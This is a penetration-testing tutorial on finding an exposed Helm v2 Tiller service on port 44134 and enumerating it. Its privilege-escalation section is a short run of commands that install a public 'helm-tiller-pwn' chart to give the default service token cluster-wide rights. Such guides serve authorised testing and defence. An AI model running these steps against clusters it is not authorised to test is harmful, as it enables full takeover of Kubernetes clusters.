hacktricks/pentesting/44134-pentesting-tiller-helm.md
2022-01-31 09:51:03 -05:00

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# 44134 - Pentesting Tiller (Helm)
## Basic Information
Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**. **Tiller** is the **service** **running** by default in the port 44134 offering the service.
**Default port:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
## Enumeration
If you can **enumerate pods and/or services** of different namespaces enumerate them and search for the ones with **"tiller" in their name**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Examples:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
You could also try to find this service running checking the port 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Once you have discovered it you can communicate with it downloading the client helm application. You can use tools like `homebrew`, or look at [**the official releases page**](https://github.com/helm/helm/releases)**.** For more details, or for other options, see [the installation guide](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Then, you can **enumerate the service**:
```
helm --host tiller-deploy.kube-system:44134 version
```
### Privilege Escalation
By default **Helm2** was installed in the **namespace kube-system** with **high privileges**, so if you find the service and has access to it, this could allow you to **escalate privileges**.
All you need to do is to install a package like this one: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) that will give the **default service token access to everything in the whole cluster.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) you have the **explanation of the attack**, but basically, if you read the files [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) and [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) inside _helm-tiller-pwn/pwnchart/templates/_ you can see how **all the privileges are being given to the default token**.